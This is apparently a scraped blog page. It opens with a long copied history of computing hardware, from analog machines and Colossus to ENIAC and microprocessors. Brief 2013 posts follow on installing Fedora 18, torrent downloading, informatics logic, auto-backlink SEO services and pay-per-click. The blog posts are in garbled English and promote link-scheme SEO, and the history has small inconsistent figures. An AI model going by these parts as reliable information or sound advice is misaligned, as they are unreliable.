Centrally, these analog systems work by creating electrical 'analogs' of other systems, allowing users to predict behavior of the systems of interest by observing the electrical analogs. The most useful of the analogies was the way the small-scale behavior could be represented with integral and differential equations, and could be thus used to solve those equations. An ingenious example of such a machine, using water as the analog quantity, was the water integrator built in 1928; an electrical example is the Mallock machine built in 1941. A planimeter is a device which does integrals, using distance as the analog quantity. Unlike modern digital computers, analog computers are not very flexible, and need to be rewired manually to switch them from working on one problem to another. Analog computers had an advantage over early digital computers in that they could be used to solve complex problems using behavioral analogues while the earliest attempts at digital computers were quite limited.

Some of the most widely deployed analog computers included devices for aiming weapons, such as the Norden bombsight, and fire-control systems, such as Arthur Pollen's Argo system for naval vessels. Some stayed in use for decades after World War II; the Mark I Fire Control Computer was deployed by the United States Navy on a variety of ships from destroyers to battleships. Other analog computers included theHeathkit EC-1, and the hydraulic MONIAC Computer which modeled econometric flows.

The art of mechanical analog computing reached its zenith with the differential analyzer, built by H. L. Hazen and Vannevar Bush at MIT starting in 1927, which in turn built on the mechanical integrators invented in 1876 by James Thomson and the torque amplifiers invented by H. W. Nieman. A dozen of these devices were built before their obsolescence was obvious; the most powerful was constructed at the University of Pennsylvania'sMoore School of Electrical Engineering, where the ENIAC was built. Digital electronic computers like the ENIAC spelled the end for most analog computing machines, but hybrid analog computers, controlled by digital electronics, remained in substantial use into the 1950s and 1960s, and later in some specialized applications.

Early electronic digital computation

Friden paper tape punch. Punched tape programs would be much longer than the short fragment of yellow paper tape shown.

The era of modern computing began with a flurry of development before and during World War II.

At first electromechanical components such as relays were employed. George Stibitz is internationally recognized as one of the fathers of the modern digital computer. While working at Bell Labs in November 1937, Stibitz invented and built a relay-based calculator that he dubbed the "Model K" (for "kitchen table", on which he had assembled it), which was the first to calculate using binary form.

However, electronic circuit elements replaced their mechanical and electromechanical equivalents, and digital calculations replaced analog calculations. Machines such as the Z3, the Atanasoff–Berry Computer, theColossus computers, and the ENIAC were built by hand using circuits containing relays or valves (vacuum tubes), and often used punched cards or punched paper tape for input and as the main (non-volatile) storage medium. Defining a single point in the series as the "first computer" misses many subtleties (see the table "Defining characteristics of some early digital computers of the 1940s" below).

Turing

Alan Turing's 1936 paper proved enormously influential in computing and computer science in two ways. Its main purpose was to prove that there were problems (namely the halting problem) that could not be solved by any sequential process. In doing so, Turing provided a definition of a universal computer which executes a program stored on tape. This construct came to be called a Turing machine. Except for the limitations imposed by their finite memory stores, modern computers are said to be Turing-complete, which is to say, they have algorithm execution capability equivalent to a universal Turing machine.

Half-inch (12.7 mm) magnetic tape, originally written with 7 tracks and later 9-tracks.

For a computing machine to be a practical general-purpose computer, there must be some convenient read-write mechanism, punched tape, for example. With knowledge of Alan Turing's theoretical 'universal computing machine' John von Neumann defined an architecture which uses the same memory both to store programs and data: virtually all contemporary computers use this architecture (or some variant). While it is theoretically possible to implement a full computer entirely mechanically (as Babbage's design showed), electronics made possible the speed and later the miniaturization that characterize modern computers.

There were three parallel streams of computer development in the World War II era; the first stream largely ignored, and the second stream deliberately kept secret. The first was the German work of Konrad Zuse. The second was the secret development of the Colossus computers in the UK. Neither of these had much influence on the various computing projects in the United States, but some of the technology led, via Turing and others, to the first commercial electronic computer. The third stream of computer development was Eckert and Mauchly's ENIAC and EDVAC, which was widely publicized.

Zuse

A reproduction of Zuse's Z1 computer

Working in isolation in Germany, Konrad Zuse started construction in 1936 of his first Z-series calculators featuring memory and (initially limited) programmability. Zuse's purely mechanical, but already binary Z1, finished in 1938, never worked reliably due to problems with the precision of parts.

Zuse's later machine, the Z3, was finished in 1941. It was based on telephone relays and did work satisfactorily. The Z3 thus became the world's first functional program-controlled, all-purpose, digital computer. In many ways it was quite similar to modern machines, pioneering numerous advances, such as floating point numbers. Replacement of the hard-to-implement decimal system (used in Charles Babbage's earlier design) by the simpler binary system meant that Zuse's machines were easier to build and potentially more reliable, given the technologies available at that time.

Programs were fed into Z3 on punched films. Conditional jumps were missing, but since the 1990s it has been proved theoretically that Z3 was still a universal computer (as always, ignoring physical storage limitations). In two 1936 patent applications, Konrad Zuse also anticipated that machine instructions could be stored in the same storage used for data—the key insight of what became known as the von Neumann architecture, first implemented in the British SSEM of 1948. Zuse also claimed to have designed the first higher-level programming language, which he named Plankalkül, in 1945 (published in 1948) although it was implemented for the first time in 1998 and then again in 2000 by a team around Raúl Rojas at the Free University of Berlin.

Zuse suffered setbacks during World War II when some of his machines were destroyed in the course of Allied bombing campaigns. Apparently his work remained largely unknown to engineers in the UK and US until much later, although at least IBM was aware of it as it financed his post-war startup company in 1946 in return for an option on Zuse's patents.

Colossus

Colossus was used to break German ciphers during World War II.

During World War II, the British at Bletchley Park (40 miles north of London) achieved a number of successes at breaking encrypted German military communications. The German encryption machine, Enigma, was attacked with the help of electro-mechanical machines called bombes. The bombe, designed by Alan Turing and Gordon Welchman, after the Polish cryptographic bomba by Marian Rejewski (1938), came into productive use in 1941. They ruled out possible Enigma settings by performing chains of logical deductions implemented electrically. Most possibilities led to a contradiction, and the few remaining could be tested by hand.

The Germans also developed a series of teleprinter encryption systems, quite different from Enigma. The Lorenz SZ 40/42 machine was used for high-level Army communications, termed "Tunny" by the British. The first intercepts of Lorenz messages began in 1941. As part of an attack on Tunny, Max Newman and his colleagues helped specify the Colossus. The Mk I Colossus was built between March and December 1943 byTommy Flowers and his colleagues at the Post Office Research Station at Dollis Hill in London and then shipped to Bletchley Park in January 1944.

Colossus was the world's first electronic programmable computing device. It used a large number of valves (vacuum tubes). It had paper-tape input and was capable of being configured to perform a variety of boolean logical operations on its data, but it was not Turing-complete. Nine Mk II Colossi were built (The Mk I was converted to a Mk II making ten machines in total). Details of their existence, design, and use were kept secret well into the 1970s. Winston Churchill personally issued an order for their destruction into pieces no larger than a man's hand, to keep secret that the British were capable of cracking Lorenz during the oncoming cold war. Two of the machines were transferred to the newly formed GCHQ and the others were destroyed. As a result the machines were not included in many histories of computing. A reconstructed working copy of one of the Colossus machines is now on display at Bletchley Park.

American developments

In 1937, Claude Shannon showed there is a one-to-one correspondence between the concepts of Boolean logic and certain electrical circuits, now called logic gates, which are now ubiquitous in digital computers. In his master's thesis at MIT, for the first time in history, Shannon showed that electronic relays and switches can realize the expressions of Boolean algebra. Entitled A Symbolic Analysis of Relay and Switching Circuits, Shannon's thesis essentially founded practical digital circuit design. George Stibitz completed a relay-based computer he dubbed the "Model K" at Bell Labs in November 1937. Bell Labs authorized a full research program in late 1938 with Stibitz at the helm. Their Complex Number Calculator, completed January 8, 1940, was able to calculate complex numbers. In a demonstration to the American Mathematical Society conference at Dartmouth College on September 11, 1940, Stibitz was able to send the Complex Number Calculator remote commands over telephone lines by a teletype. It was the first computing machine ever used remotely, in this case over a phone line. Some participants in the conference who witnessed the demonstration were John von Neumann, John Mauchly, and Norbert Wiener, who wrote about it in their memoirs.

Atanasoff–Berry Computer replica at 1st floor of Durham Center, Iowa State University

In 1939, John Vincent Atanasoff and Clifford E. Berry of Iowa State University developed the Atanasoff–Berry Computer (ABC), The Atanasoff-Berry Computer was the world's first electronic digital computer. The design used over 300 vacuum tubes and employed capacitors fixed in a mechanically rotating drum for memory. Though the ABC machine was not programmable, it was the first to use electronic tubes in an adder. ENIAC co-inventor John Mauchly examined the ABC in June 1941, and its influence on the design of the later ENIAC machine is a matter of contention among computer historians. The ABC was largely forgotten until it became the focus of the lawsuit Honeywell v. Sperry Rand, the ruling of which invalidated the ENIAC patent (and several others) as, among many reasons, having been anticipated by Atanasoff's work.

In 1939, development began at IBM's Endicott laboratories on the Harvard Mark I. Known officially as the Automatic Sequence Controlled Calculator, the Mark I was a general purpose electro-mechanical computer built with IBM financing and with assistance from IBM personnel, under the direction of Harvard mathematician Howard Aiken. Its design was influenced by Babbage's Analytical Engine, using decimal arithmetic and storage wheels and rotary switches in addition to electromagnetic relays. It was programmable via punched paper tape, and contained several calculation units working in parallel. Later versions contained several paper tape readers and the machine could switch between readers based on a condition. Nevertheless, the machine was not quite Turing-complete. The Mark I was moved to Harvard University and began operation in May 1944.

ENIAC

ENIAC performed ballistics trajectory calculations with 160 kW of power

The US-built ENIAC (Electronic Numerical Integrator and Computer) was the first electronic general-purpose computer. It combined, for the first time, the high speed of electronics with the ability to be programmed for many complex problems. It could add or subtract 5000 times a second, a thousand times faster than any other machine. It also had modules to multiply, divide, and square root. High speed memory was limited to 20 words (about 80 bytes). Built under the direction of John Mauchly and J. Presper Eckert at the University of Pennsylvania, ENIAC's development and construction lasted from 1943 to full operation at the end of 1945. The machine was huge, weighing 30 tons, using 200 kilowatts of electric power and contained over 18,000 vacuum tubes, 1.500 relays, and hundreds of thousands of resistors, capacitors, and inductors. One of the major engineering feats was to minimize tube burnout, which was a common problem at that time. The machine was in almost constant use for the next ten years.

ENIAC was unambiguously a Turing-complete device. It could compute any problem (that would fit in memory). A "program" on the ENIAC, however, was defined by the states of its patch cables and switches, a far cry from the stored program electronic machines that came later. Once a program was written, it had to be mechanically set into the machine. Six women did most of the programming of ENIAC. (Improvements completed in 1948 made it possible to execute stored programs set in function table memory, which made programming less a "one-off" effort, and more systematic).

Manchester "baby"

Replica of the Small-Scale Experimental Machine (SSEM) at the Museum of Science and Industryin Castlefield, Manchester

The Manchester Small-Scale Experimental Machine, nicknamed Baby, was the world's first stored-program computer. It was built at the Victoria University of Manchester by Frederic C. Williams, Tom Kilburn and Geoff Tootill, and ran its first program on 21 June 1948.

The machine was not intended to be a practical computer but was instead designed as a testbed for the Williams tube, an early form of computer memory. Although considered "small and primitive" by the standards of its time, it was the first working machine to contain all of the elements essential to a modern electronic computer. As soon as the SSEM had demonstrated the feasibility of its design, a project was initiated at the university to develop it into a more usable computer, the Manchester Mark 1. The Mark 1 in turn quickly became the prototype for the Ferranti Mark 1, the world's first commercially available general-purpose computer.

The SSEM had a 32-bit word length and a memory of 32 words. As it was designed to be the simplest possible stored-program computer, the only arithmetic operations implemented in hardware were subtraction andnegation; other arithmetic operations were implemented in software. The first of three programs written for the machine found the highest proper divisor of (262,144), a calculation that was known would take a long time to run—and so prove the computer's reliability—by testing every integer from 2¹⁸ − 1 downwards, as division was implemented by repeated subtraction of the divisor. The program consisted of 17 instructions and ran for 52 minutes before reaching the correct answer of 131,072, after the SSEM had performed 3.5 million operations (for an effective CPU speed of 1.1 kIPS).

Early computer characteristics

Defining characteristics of some early digital computers of the 1940s (In the history of computing hardware)
Name	First operational	Numeral system	Computing mechanism	Programming	Turing complete
Zuse Z3 (Germany)	May 1941	Binary floating point	Electro-mechanical	Program-controlled by punched 35 mm film stock (but no conditional branch)	In theory (1998)
Atanasoff–Berry Computer (US)	1942	Binary	Electronic	Not programmable—single purpose	No
Colossus Mark 1 (UK)	February 1944	Binary	Electronic	Program-controlled by patch cables and switches	No
Harvard Mark I – IBM ASCC (US)	May 1944	Decimal	Electro-mechanical	Program-controlled by 24-channel punched paper tape (but no conditional branch)	Debatable
Colossus Mark 2 (UK)	June 1944	Binary	Electronic	Program-controlled by patch cables and switches	In theory (2011)
Zuse Z4 (Germany)	March 1945	Binary floating point	Electro-mechanical	Program-controlled by punched 35 mm film stock	Yes
ENIAC (US)	July 1946	Decimal	Electronic	Program-controlled by patch cables and switches	Yes
Manchester Small-Scale Experimental Machine (Baby)(UK)	June 1948	Binary	Electronic	Stored-program in Williams cathode ray tube memory	Yes
Modified ENIAC (US)	September 1948	Decimal	Electronic	Read-only stored programming mechanism using the Function Tables as program ROM	Yes
EDSAC (UK)	May 1949	Binary	Electronic	Stored-program in mercury delay line memory	Yes
Manchester Mark 1 (UK)	October 1949	Binary	Electronic	Stored-program in Williams cathode ray tube memory and magnetic drummemory	Yes
CSIRAC (Australia)	November 1949	Binary	Electronic	Stored-program in mercury delay line memory	Yes

First-generation machines

Further information: List of vacuum tube computers

Design of the von Neumann architecture (1947)

Even before the ENIAC was finished, Eckert and Mauchly recognized its limitations and started the design of a stored-program computer, EDVAC. John von Neumann was credited with a widely circulated reportdescribing the EDVAC design in which both the programs and working data were stored in a single, unified store. This basic design, denoted the von Neumann architecture, would serve as the foundation for the worldwide development of ENIAC's successors. In this generation of equipment, temporary or working storage was provided by acoustic delay lines, which used the propagation time of sound through a medium such as liquidmercury (or through a wire) to briefly store data. A series of acoustic pulses is sent along a tube; after a time, as the pulse reached the end of the tube, the circuitry detected whether the pulse represented a 1 or 0 and caused the oscillator to re-send the pulse. Others used Williams tubes, which use the ability of a small cathode-ray tube (CRT) to store and retrieve data as charged areas on the phosphor screen. By 1954, magnetic core memory was rapidly displacing most other forms of temporary storage, and dominated the field through the mid-1970s.

Magnetic core memory. Each core is one bit.

EDVAC was the first stored-program computer designed; however it was not the first to run. Eckert and Mauchly left the project and its construction floundered. The first working von Neumann machine was the Manchester "Baby" or Small-Scale Experimental Machine, developed by Frederic C. Williams and Tom Kilburn at the University of Manchester in 1948 as a test bed for the Williams tube; it was followed in 1949 by the Manchester Mark 1 computer, a complete system, using Williams tube and magnetic drum memory, and introducing index registers. The other contender for the title "first digital stored-program computer" had beenEDSAC, designed and constructed at the University of Cambridge. Operational less than one year after the Manchester "Baby", it was also capable of tackling real problems. EDSAC was actually inspired by plans for EDVAC (Electronic Discrete Variable Automatic Computer), the successor to ENIAC; these plans were already in place by the time ENIAC was successfully operational. Unlike ENIAC, which used parallel processing, EDVAC used a single processing unit. This design was simpler and was the first to be implemented in each succeeding wave of miniaturization, and increased reliability. Some view Manchester Mark 1 / EDSAC / EDVAC as the "Eves" from which nearly all current computers derive their architecture. Manchester University's machine became the prototype for the Ferranti Mark 1. The first Ferranti Mark 1 machine was delivered to the University in February 1951 and at least nine others were sold between 1951 and 1957.

The first universal programmable computer in the Soviet Union was created by a team of scientists under direction of Sergei Alekseyevich Lebedev from Kiev Institute of Electrotechnology, Soviet Union (now Ukraine). The computer MESM (МЭСМ, Small Electronic Calculating Machine) became operational in 1950. It had about 6,000 vacuum tubes and consumed 25 kW of power. It could perform approximately 3,000 operations per second. Another early machine was CSIRAC, an Australian design that ran its first test program in 1949. CSIRAC is the oldest computer still in existence and the first to have been used to play digital music.

Commercial computers

The first commercial computer was the Ferranti Mark 1, which was delivered to the University of Manchester in February 1951. It was based on the Manchester Mark 1. The main improvements over the Manchester Mark 1 were in the size of the primary storage (using random access Williams tubes), secondary storage (using a magnetic drum), a faster multiplier, and additional instructions. The basic cycle time was 1.2 milliseconds, and a multiplication could be completed in about 2.16 milliseconds. The multiplier used almost a quarter of the machine's 4,050 vacuum tubes (valves). A second machine was purchased by the University of Toronto, before the design was revised into the Mark 1 Star. At least seven of these later machines were delivered between 1953 and 1957, one of them to Shell labs in Amsterdam.

In October 1947, the directors of J. Lyons & Company, a British catering company famous for its teashops but with strong interests in new office management techniques, decided to take an active role in promoting the commercial development of computers. The LEO I computer became operational in April 1951 and ran the world's first regular routine office computer . On 17 November 1951, the J. Lyons company began weekly operation of a bakery valuations job on the LEO (Lyons Electronic Office). This was the first business application to go live on a stored program computer.

In June 1951, the UNIVAC I (Universal Automatic Computer) was delivered to the U.S. Census Bureau. Remington Rand eventually sold 46 machines at more than $1 million each ($8.95 million as of 2013).UNIVAC was the first "mass produced" computer. It used 5,200 vacuum tubes and consumed 125 kW of power. Its primary storage was serial-access mercury delay lines capable of storing 1,000 words of 11 decimal digits plus sign (72-bit words). A key feature of the UNIVAC system was a newly invented type of metal magnetic tape, and a high-speed tape unit, for non-volatile storage. Magnetic tape is still used in many computers. In 1952, IBM publicly announced the IBM 701 Electronic Data Processing Machine, the first in its successful 700/7000 series and its first IBM mainframe computer. The IBM 704, introduced in 1954, used magnetic core memory, which became the standard for large machines. The first implemented high-level general purpose programming language, Fortran, was also being developed at IBM for the 704 during 1955 and 1956 and released in early 1957. (Konrad Zuse's 1945 design of the high-level language Plankalkül was not implemented at that time.) A volunteer user group, which exists to this day, was founded in 1955 to sharetheir software and experiences with the IBM 701.

IBM 650 front panel

IBM introduced a smaller, more affordable computer in 1954 that proved very popular. The IBM 650 weighed over 900 kg, the attached power supply weighed around 1350 kg and both were held in separate cabinets of roughly 1.5 meters by 0.9 meters by 1.8 meters. It cost $500,000 ($4.33 million as of 2013) or could be leased for $3,500 a month ($30 thousand as of 2013). Its drum memory was originally 2,000 ten-digit words, later expanded to 4,000 words. Memory limitations such as this were to dominate programming for decades afterward. The program instructions were fetched from the spinning drum as the code ran. Efficient execution using drum memory was provided by a combination of hardware architecture: the instruction format included the address of the next instruction; and software: the Symbolic Optimal Assembly Program, SOAP, assigned instructions to the optimal addresses (to the extent possible by static analysis of the source program). Thus many instructions were, when needed, located in the next row of the drum to be read and additional wait time for drum rotation was not required.

This RAMAC DASD is being restored at the Computer History Museum

In 1955, Maurice Wilkes invented microprogramming, which allows the base instruction set to be defined or extended by built-in programs (now called firmware or microcode). It was widely used in the CPUs andfloating-point units of mainframe and other computers, such as the Manchester Atlas and the IBM 360 series.

IBM introduced the first disk storage unit (a hard disk drive), the IBM 350 RAMAC (Random Access Method of Accounting and Control) in 1956. Using fifty 24-inch (610 mm) metal disks, with 100 tracks per side, it was able to store 5 megabytes of data at a cost of $10,000 per megabyte ($90 thousand as of 2013).

Second generation: transistors

A bipolar junction transistor

The bipolar transistor was invented in 1947. From 1955 onwards transistors replaced vacuum tubes in computer designs, giving rise to the "second generation" of computers. Initially the only devices available weregermanium point-contact transistors, which although less reliable than the vacuum tubes they replacedad the advantage of consuming far less power. The first transistorised computer was built at the University of Manchester and was operational by 1953; a second version was completed there in April 1955. The later machine used 200 transistors and 1,300 solid-state diodes and had a power consumption of 150 watts. However, it still required valves to generate the clock waveforms at 125 kHz and to read and write on the magnetic drum memory, whereas the Harwell CADET operated without any valves by using a lower clock frequency, of 58 kHz when it became operational in February 1955. Problems with the reliability of early batches of point contact and alloyed junction transistors meant that the machine's mean time between failureswas about 90 minutes, but this improved once the more reliable bipolar junction transistors became available.

Compared to vacuum tubes, transistors have many advantages: they are smaller, and require less power than vacuum tubes, so give off less heat. Silicon junction transistors were much more reliable than vacuum tubes and had longer, indefinite, service life. Transistorized computers could contain tens of thousands of binary logic circuits in a relatively compact space. Transistors greatly reduced computers' size, initial cost, and operating cost. Typically, second-generation computers were composed of large numbers of printed circuit boards such as the IBM Standard Modular System each carrying one to four logic gates or flip-flops.

A second generation computer, the IBM 1401, captured about one third of the world market. IBM installed more than ten thousand 1401s between 1960 and 1964.

Transistorized electronics improved not only the CPU (Central Processing Unit), but also the peripheral devices. The second generation disk data storage units were able to store tens of millions of letters and digits. Next to the fixed disk storage units, connected to the CPU via high-speed data transmission, were removable disk data storage units. A removable disk pack can be easily exchanged with another pack in a few seconds. Even if the removable disks' capacity is smaller than fixed disks, their interchangeability guarantees a nearly unlimited quantity of data close at hand. Magnetic tape provided archival capability for this data, at a lower cost than disk.

Many second-generation CPUs delegated peripheral device communications to a secondary processor. For example, while the communication processor controlled card reading and punching, the main CPU executed calculations and binary branch instructions. One databus would bear data between the main CPU and core memory at the CPU's fetch-execute cycle rate, and other databusses would typically serve the peripheral devices. On the PDP-1, the core memory's cycle time was 5 microseconds; consequently most arithmetic instructions took 10 microseconds (100,000 operations per second) because most operations took at least two memory cycles; one for the instruction, one for the operand data fetch.

During the second generation remote terminal units (often in the form of teletype machines like a Friden Flexowriter) saw greatly increased use. Telephone connections provided sufficient speed for early remote terminals and allowed hundreds of kilometers separation between remote-terminals and the computing center. Eventually these stand-alone computer networks would be generalized into an interconnected network of networks—the Internet.

Post-1960: third generation and beyond

Intel 8742 eight-bit microcontroller IC

The explosion in the use of computers began with "third-generation" computers, making use of Jack St. Clair Kilby's and Robert Noyce's independent invention of the integrated circuit (or microchip), which led to the invention of the microprocessor. While the subject of exactly which device was the first microprocessor is contentious, partly due to lack of agreement on the exact definition of the term "microprocessor", it is largely undisputed that the first single-chip microprocessor was the Intel 4004, designed and realized by Ted Hoff, Federico Faggin, and Stanley Mazor at Intel.

While the earliest microprocessor ICs literally contained only the processor, i.e. the central processing unit, of a computer, their progressive development naturally led to chips containing most or all of the internal electronic parts of a computer. The integrated circuit in the image on the right, for example, an Intel 8742, is an 8-bit microcontroller that includes a CPU running at 12 MHz, 128 bytes of RAM, 2048 bytes of EPROM, and I/O in the same chip.

During the 1960s there was considerable overlap between second and third generation technologies. IBM implemented its IBM Solid Logic Technology modules in hybrid circuits for the IBM System/360 in 1964. As late as 1975, Sperry Univac continued the manufacture of second-generation machines such as the UNIVAC 494. The Burroughs large systems such as the B5000 were stack machines, which allowed for simpler programming. These pushdown automatons were also implemented in minicomputers and microprocessors later, which influenced programming language design. Minicomputers served as low-cost computer centers for industry, business and universities. It became possible to simulate analog circuits with the simulation program with integrated circuit emphasis, or SPICE (1971) on minicomputers, one of the programs for electronic design automation (EDA). The microprocessor led to the development of the microcomputer, small, low-cost computers that could be owned by individuals and small businesses. Microcomputers, the first of which appeared in the 1970s, became ubiquitous in the 1980s and beyond.

In April 1975 at the Hannover Fair, was presented the P6060 produced by Olivetti, the world's first personal computer with built-in floppy disk: Central Unit on two plates, code names PUCE1/PUCE2, TTL components made, 8" single or double floppy disk driver, 32 alphanumeric characters plasma display, 80 columns graphical thermal printer, 48 Kbytes of RAM, BASIC language, 40 kilograms of weight. He was in competition with a similar product by IBM but with an external floppy disk.

MOS Technology KIM-1 and Altair 8800, were sold as kits for do-it-yourselfers, as was the Apple I, soon afterward. The first Apple computer with graphic and sound capabilities came out well after the Commodore PET. Computing has evolved with microcomputer architectures, with features added from their larger brethren, now dominant in most market segments.

Systems as complicated as computers require very high reliability. ENIAC remained on, in continuous operation from 1947 to 1955, for eight years before being shut down. Although a vacuum tube might fail, it would be replaced without bringing down the system. By the simple strategy of never shutting down ENIAC, the failures were dramatically reduced. The vacuum-tube SAGE air-defense computers became remarkably reliable – installed in pairs, one off-line, tubes likely to fail did so when the computer was intentionally run at reduced power to find them. Hot-pluggable hard disks, like the hot-pluggable vacuum tubes of yesteryear, continue the tradition of repair during continuous operation. Semiconductor memories routinely have no errors when they operate, although operating systems like Unix have employed memory tests on start-up to detect failing hardware. Today, the requirement of reliable performance is made even more stringent when server farms are the delivery platform. Google has managed this by using fault-tolerant software to recover from hardware failures, and is even working on the concept of replacing entire server farms on-the-fly, during a service event.

In the 21st century, multi-core CPUs became commercially available. Content-addressable memory (CAM) has become inexpensive enough to be used in networking, although no computer system has yet implemented hardware CAMs for use in programming languages. Currently, CAMs (or associative arrays) in software are programming-language-specific. Semiconductor memory cell arrays are very regular structures, and manufacturers prove their processes on them; this allows price reductions on memory products. During the 1980s, CMOS logic gates developed into devices that could be made as fast as other circuit types; computer power consumption could therefore be decreased dramatically. Unlike the continuous current draw of a gate based on other logic types, a CMOS gate only draws significant current during the 'transition' between logic states, except for leakage.

This has allowed computing to become a commodity which is now ubiquitous, embedded in many forms, from greeting cards and telephones to satellites. Computing hardware and its software have even become a metaphor for the operation of the universe. Although DNA-based computing and quantum computing are years or decades in the future, the infrastructure is being laid today, for example, with DNA origami on photolithography and with quantum antennae for transferring information between ion traps. By 2011, researchers had entangled 14 qubits. Fast digital circuits (including those based on Josephson junctionsand rapid single flux quantum technology) are becoming more nearly realizable with the discovery of nanoscale superconductors.

Fiber-optic and photonic devices, which already have been used to transport data over long distances, are now entering the data center, side by side with CPU and semiconductor memory components. This allows the separation of RAM from CPU by optical interconnects. IBM has created an integrated circuit with both electronic and optical (this is called photonic) information processing in one chip. This is denoted "CMOS-integrated nanophotonics" or (CINP).

An indication of the rapidity of development of this field can be inferred by the history of the seminal article. By the time that anyone had time to write anything down, it was obsolete. After 1945, others read John von Neumann's First Draft of a Report on the EDVAC, and immediately started implementing their own systems. To this day, the pace of development has continued, worldwide.

How To Install Fedora 18

2013-02-23T22:59:00.005-08:00

How To Install Fedora 18.

Linux users have been waiting quite some time for Fedora 18. The final release has been postponed seven times, for a total of more than two months, from the originally planned release date of 6 November 2012 to the actual release on 15 January 2013.

A few other highlights of this release:

Linux kernel 3.6.11 - This means it has a lot of new device drivers and hardware support. For example, this is one of the very few current Linux distributions which supports the Ralink 3290 WiFi adapter in my HP Pavilion dm1-4310 out of the box.
X.org X Server 1.13.1 - Supports my various Intel and AMD/ATI Radeon graphic adapters with the FOSS radeon driver. I don't currently have anything with a nVidia adapter, so I can't comment on support for that.
Gnome 3.6.2
Firefox 18.0 - Keeping up with Firefox releases is not exactly easy any more. In fact, you have to install the latest updates after completing the base installation to get up to 18.0.
LibreOffice 3.6.3.2 - Writer, Calc, Draw and Impress all included
Shotwell 0.13.1 - Photo management
Rhythmbox 2.98 - Audio player
Totem 3.6.3 - Gnome movie player

But Now We share about install fedora 18

How To Install Fedora 18

1. Setting Boot Priority In Bios

2. Please Insert CD Fedora 18

Instalation Fedora 18

3.Click Start Fedora in basic mode after it you click Troubleshout or INSTALL FEDORA 18

4.ClickInstall To Hard disk

5.Chosee Language

here we are setting

1. type keyboard2. date and time3.storage instalation

LOOK THE PICTURE OK

when you're done click done

after setting the date we set the linux partition but here I recomended partition appropriate system manually

click continou you back in main menu

6. Click Begin Installation

7.Setting Root Pasword

8.Wait Proses until 100% the computer will be reboot

9.click Forward

10.click Forward

11.settin user account and your pasword

12. click finish the computer will be reboot

13. FEDORA 18

Download Torrent With IDM

2013-02-22T23:45:00.004-08:00

Download Torrent With IDM

Sometimes we are going to search our files in google or other search engines but we did not find it and one way is that we look for the file in the torrent which is where all the people in the world share files so we can find the file we are looking for but the sometimes download using torrent was so long what with slow connections will be tiring for us at the following example of a site where the download file torrent

and many more places to download torrent files. to overcome the slow download using torrent client I will provide solutions using Internet download manager for faster download process. please download the file below

<<DOWNLOAD THIS FILE>>

Logika Informatika Part 1-2

2013-02-19T20:20:00.002-08:00

Logika informatika

Logika informatika adalah sebuah pelajaran untuk meningkatkan daya pikir dan kemampuan berfikir,menganalisa dari sebuah permasalahan di bab pertama ini berisikan tentang hal-hal dasar tentang logika informatika dan sedikit di jelaskan tentang proporsi meruapakan komponen dasar penyusun sebuah logika yang dinyatakan dengan nilai(T=True / F=False) dan penghubung sebuah logika seperti (OR.NOT dll) dan symantic Rule (semantik aturan penulisan logika. itu sedikit tentang logika informatika yang saya share dari kuliah saya di AMIKOM.AC.ID.

DOWNLOAD MATERI LOGIKA INFORMATIKA PART 1

DOWNLOAD PART MATERI LOGIKA INFORMATIKA 2

Auto Backlink End auto Submit ping Blog

2013-02-18T20:12:00.002-08:00

Auto Ping, Auto backlink, Auto Submit

By pinging or submit blog will rejuvenate in the search egine operate the machine index our blog and not just blogs but superficial content we will submit it so it is important to increase our blog traffic and the search engine Bing and Yahoo with a quick and easy to use Auto Submit Blog Blogger Sitemap to Bing & Yahoo. Submit sitemap also serves to increase traffic / organic traffic to your blog from Bing search engine visitors also Yahoo. If we had to submit blog to Google webmaster tools manually, we now submit your blog to Bing and Yahoo with just enough to send through the LINK URL address bar on the browser that we use, is practical

in Bellow list of

Auto Ping, Auto backlink, Auto Submit

Auto Submit Blog

2013-02-18T20:03:00.003-08:00

Auto Submit Blog

Seo backlinks is to menigkakan page rank in google or search egine in alexa rank, in pagerank, and certainly will increase the number of website visitors. So that we expect to create a website is definitely the more abundant and the number of visitors doubled. If you've doubled the number of visitors and plentiful then, you can fill your website with excellent and we tingal kontenyang fill the post well and we can get results from the Blog.

Backlink alone there are 3 types:

One way backlinks: which links obtained from a Web site or a blog while we do not provide a link to your web or blog. Suppose you leave a comment on another blog or website, make a signature in the forum discussions, backlinks from free classified ads, and others.
Backlink two directions: either ngelink another term, or link exchange. Where our site provides links to other people and other people's sites and even then give a link to our site.
Three Way Links, where links are formed of three sites. For example, site A provides links to site B, site B links to site C gives, gives site C links to A. Backlink like this rather hard to come by, unless you use SEO services or create a bond between the owner of the web or blocks to create this three-way Links. Or it could be a dummy blog, you create 3 blogs, continue to create this three-way link.

The bog trying to improve the quality of content and seo blog here I share the auto backlink
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247backlinks.info (there are 1000 backlinks, and to divide the forum).

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When it comes to owning a website, traffic is the most important concern. Traffic means customers. SubmitAsite offers search engine submission services and link that will assist in driving traffic to your website. Search engine submission is a vital aspect to Gaining traffic to your site. With Submit A Site you can submit the URL to the top 20 search engines for free.

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Using our service you can add the URL to 40 search engines, all for free. Why spend several hours going to each search engine manually, while you can add the URL from one place to all of them just by filling out one simple form that only ACKs for your web site URL and email address. Your URL will automatically be submitted to several top search engines such as: Excite, Infoseek, WebCrawler, AltaVista, Lycos, HotBot, AOL Netfind, Netscape Search, GO Network, LookSmart, etc..

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Offers over 300 links to search engine submission pages. Spending some time submitting your site to all of them is well worth it! Self Promotion.com is very detailed and provides the best information on the Web.

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A search engine submission tool where you can submit your pages to over 100 engines, absolutely free of charge. To add a URL, the process is very simple: enter your site URLs (more than one is allowed), then enter your e-mail address.

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Add URL to 4500 search engines, directories and Free For All links. You have the option to use it free for one time only. If you want to use it repeatedly, they require you to place a banner on the page you are promoting.http://www.freewebsubmission.com/

Free Backlink auto submit Blog

2013-02-18T19:23:00.003-08:00

Backink is a link that is very supportive to raise their trrafic blog especially for bloggers who are just learning to create a blog and want to get a lot of visitors, I will give the SEO backlink on Free automatic backlinks generator so we put the script below is that we will get considerable backlink to increase blog traffic.
Just follow the simple instructions below and simple:

1. Open Link http:backlink4u.net You will See is site in bellow

2. Open Bloger dashoard > layout > Add Widget >Html Java script

3. Click Save

Thanks

What Is Pay Per Click

2013-02-18T08:57:00.000-08:00

What Is Pay Per Click

A brief Pay Per Click definition is: PPC is a type of sponsored online advertising that is used on a wide range of websites, including search engines, where the advertiser only pays if a web user clicks on their ad. Hence the title, ‘pay per click.’
When our clients ask us to define Pay Per Click, we tell them that PPC is a very cost-effective means to get their site noticed by their target audience while our other Internet marketing strategies are gradually helping their site achieve their natural ranking potential.
